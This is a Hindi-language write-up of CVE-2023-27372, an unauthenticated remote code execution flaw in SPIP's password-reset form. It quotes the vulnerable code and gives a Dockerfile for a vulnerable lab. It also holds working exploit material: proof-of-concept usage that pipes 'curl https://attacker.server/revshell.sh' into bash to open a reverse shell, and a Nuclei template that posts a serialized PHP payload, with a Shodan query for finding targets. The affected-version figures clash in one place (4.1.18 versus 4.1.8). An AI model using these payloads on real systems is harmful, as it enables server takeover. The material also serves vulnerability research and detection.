
SPIP 4.2.1 से पहले के संस्करण सार्वजनिक क्षेत्र में फ़ॉर्म मानों (form values) के माध्यम से Remote Code Execution की अनुमति देते हैं, क्योंकि serialization (क्रमांकन) को सही ढंग से संभाला नहीं गया है। सुधारित (fixed) संस्करण 3.2.18, 4.0.10, 4.1.8, और 4.2.1 हैं।

SPIP 4.2.1 से पहले के संस्करणों में सीरियलाइज़ेशन के गलत प्रबंधन के कारण सार्वजनिक क्षेत्र में फ़ॉर्म मानों के माध्यम से रिमोट कोड निष्पादन (RCE) संभव है। स्थिर (fixed) संस्करण 3.2.18, 4.0.10, 4.1.8 और 4.2.1 हैं।
यह PoC SPIP में PHP कोड इंजेक्शन का शोषण करता है। यह भेद्यता oubli पैरामीटर में मौजूद है और एक अनधिकृत (unauthenticated) उपयोगकर्ता को वेब उपयोगकर्ता विशेषाधिकारों के साथ मनमानी कमांड निष्पादित करने की अनुमति देती है। शाखाएँ 3.2, 4.0, 4.1 और 4.2 प्रभावित हैं। संवेदनशील संस्करण <3.2.18, <4.0.10, <4.1.18 और <4.2.1 हैं।
यह भेद्यता PHP कोड इंजेक्ट करने के लिए एक अत्यधिक अनुमतिपूर्ण वेरिएबल सैनिटाइज़ेशन फ़ंक्शन का दुरुपयोग करने हेतु 2 बगों का शोषण करती है:
<!-- File : /squelettes-dist/formulaires/oubli.html -->
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
<!-- File : /ecrire/balise/formulaire_.php -->
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte; // $texte = $_POST['oubli']
सर्वर पर RCE प्राप्त करने के लिए, /spip.php?page=spip_pass एंडपॉइंट पर पासवर्ड रीसेट करते समय $_POST['oubli'] वेरिएबल में PHP कोड युक्त एक सीरियलाइज़्ड PHP स्ट्रिंग इंजेक्ट करना संभव है।
मैन्युअल उदाहरण:


❯ ./CVE-2023-27372.py -h
usage: CVE-2023-27372.py [-h] -u URL -c COMMAND [-v]
Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7
options:
-h, --help show this help message and exit
-u URL, --url URL SPIP application base URL
-c COMMAND, --command COMMAND
Command to execute
-v, --verbose Verbose mode. (default: False)
./CVE-2023-27372.py -u https://spip.local.com -c 'curl https://attacker.server/revshell.sh|bash' -v
Dockerfile:
FROM ubuntu:20.04 as base
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
php \
php-xml \
php-zip \
php-sqlite3 \
unzip
ADD https://files.spip.net/spip/archives/spip-v4.2.0.zip /tmp/
RUN unzip /tmp/spip-v4.2.0.zip -d /var/www/
RUN cd /var/www/ && php -S 0.0.0.0:8000

id: CVE-2023-27372
info:
name: SPIP - Remote Command Execution
author: DhiyaneshDK,nuts7
severity: critical
description: |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
reference:
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27372
metadata:
max-request: 1
shodan-query: html:"spip.php?page=backend"
verified: "true"
tags: cve,cve2023,spip,rce
http:
- raw:
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
internal: true
part: body_1
regex:
- "name='formulaire_action_args'[^>]*value='([^']*)'"
- type: regex
part: body_2
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'